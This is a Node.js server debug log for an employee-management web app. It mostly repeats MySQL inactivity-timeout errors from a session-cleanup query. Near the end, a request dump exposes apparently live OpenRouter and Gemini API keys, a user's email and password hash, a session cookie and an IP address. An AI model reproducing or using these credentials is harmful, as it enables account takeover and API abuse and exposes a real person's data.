  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-08 02:44:56' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-08 04:45:57' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-08 04:45:57' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-08 06:40:57' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-08 06:40:57' as DATETIME)"
}
2026-03-08T10:30:48.581Z server-connect:router Serving templateView /
2026-03-08T10:30:48.583Z server-connect:app Executing action step identify
2026-03-08T10:30:48.583Z server-connect:app options: { provider: 'security' }
2026-03-08T10:30:48.583Z server-connect:auth No login cookie found
2026-03-08T10:30:48.583Z server-connect:output identity: false
2026-03-08T10:30:48.583Z server-connect:app Executing action step restrict
2026-03-08T10:30:48.583Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-03-08T10:30:48.584Z server-connect:output restrict: undefined
2026-03-08T10:30:48.975Z server-connect:router Serving templateView /
2026-03-08T10:30:48.975Z server-connect:app Executing action step identify
2026-03-08T10:30:48.975Z server-connect:app options: { provider: 'security' }
2026-03-08T10:30:48.975Z server-connect:auth No login cookie found
2026-03-08T10:30:48.975Z server-connect:output identity: false
2026-03-08T10:30:48.975Z server-connect:app Executing action step restrict
2026-03-08T10:30:48.975Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-03-08T10:30:48.976Z server-connect:output restrict: undefined
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-08 11:22:58' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-08 11:22:58' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-08 11:29:58' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-08 11:29:58' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-08 14:23:59' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-08 14:23:59' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-08 15:14:59' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-08 15:14:59' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-08 15:25:59' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-08 15:25:59' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-08 20:35:00' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-08 20:35:00' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-09 08:23:01' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-09 08:23:01' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-09 08:59:01' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-09 08:59:01' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-09 09:02:01' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-09 09:02:01' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-09 22:14:02' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-09 22:14:02' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-10 02:00:02' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-10 02:00:02' as DATETIME)"
}
2026-03-10T03:41:30.534Z server-connect:router Serving templateView /
2026-03-10T03:41:30.535Z server-connect:app Executing action step identify
2026-03-10T03:41:30.535Z server-connect:app options: { provider: 'security' }
2026-03-10T03:41:30.584Z server-connect:auth Login with cookie: { username: 'engineer.sanjay20@gmail.com', password: '5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e' }
2026-03-10T03:41:30.585Z server-connect:auth setCookie 1 engineer.sanjay20@gmail.com 5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e
2026-03-10T03:41:30.632Z server-connect:output identity: 1
2026-03-10T03:41:30.632Z server-connect:app Executing action step restrict
2026-03-10T03:41:30.632Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-03-10T03:41:30.633Z server-connect:output restrict: undefined
2026-03-10T03:41:30.633Z server-connect:app Executing action step restrict
2026-03-10T03:41:30.633Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-03-10T03:41:30.633Z server-connect:output restrict: undefined
2026-03-10T03:41:30.633Z server-connect:router Render template layouts/main
2026-03-10T03:41:30.633Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36',
    'sec-purpose': 'prefetch;prerender',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3Ak8PdD3g%2FM9xHVbB4Ath%2BHw%3D%3D.Py79F%2FeXB6G4W%2BS8sfWYsOktNDsUVjRI1v1KKoM7JTCtA47Mp0vF%2FugvburgrVpZXeKOUpSFvdrom409IKebIWI4N0I9kchJq96F5X1b7rKAjKBNa90ikeNjhFk4LYs3AqCwEXMDNOTuv%2BjR8%2BDy3dKP00Bf0HdN1FsMZMXNo98%3D.NL%2F4tUetNYZr8VGG8clQa6ApYrYAGNjHhqK7vGA1IyY',
    'x-forwarded-for': '65.20.70.39',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-03-11T03:41:30.533Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '65.20.70.39',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36',
    HTTP_SEC_PURPOSE: 'prefetch;prerender',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3Ak8PdD3g%2FM9xHVbB4Ath%2BHw%3D%3D.Py79F%2FeXB6G4W%2BS8sfWYsOktNDsUVjRI1v1KKoM7JTCtA47Mp0vF%2FugvburgrVpZXeKOUpSFvdrom409IKebIWI4N0I9kchJq96F5X1b7rKAjKBNa90ikeNjhFk4LYs3AqCwEXMDNOTuv%2BjR8%2BDy3dKP00Bf0HdN1FsMZMXNo98%3D.NL%2F4tUetNYZr8VGG8clQa6ApYrYAGNjHhqK7vGA1IyY',
    'HTTP_X_FORWARDED-FOR': '65.20.70.39',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-03-10T03:41:34.375Z server-connect:router Serving serverConnect /api/masters/get-items
2026-03-10T03:41:34.376Z server-connect:router Serving serverConnect /api/access-control/user-info
2026-03-10T03:41:34.377Z server-connect:app Executing action step identify
2026-03-10T03:41:34.377Z server-connect:app options: { provider: 'security' }
2026-03-10T03:41:34.377Z server-connect:output identity: 1
2026-03-10T03:41:34.377Z server-connect:app Executing action step restrict
2026-03-10T03:41:34.377Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-10T03:41:34.377Z server-connect:app Executing action step identify
2026-03-10T03:41:34.377Z server-connect:app options: { provider: 'security' }
2026-03-10T03:41:34.377Z server-connect:output identity: 1
2026-03-10T03:41:34.377Z server-connect:app Executing action step restrict
2026-03-10T03:41:34.377Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-10T03:41:34.378Z server-connect:output restrict: undefined
2026-03-10T03:41:34.378Z server-connect:app Executing action step select
2026-03-10T03:41:34.378Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2026-03-10T03:41:34.378Z server-connect:output restrict: undefined
2026-03-10T03:41:34.378Z server-connect:app Executing action step single
2026-03-10T03:41:34.378Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2026-03-10T03:41:34.379Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
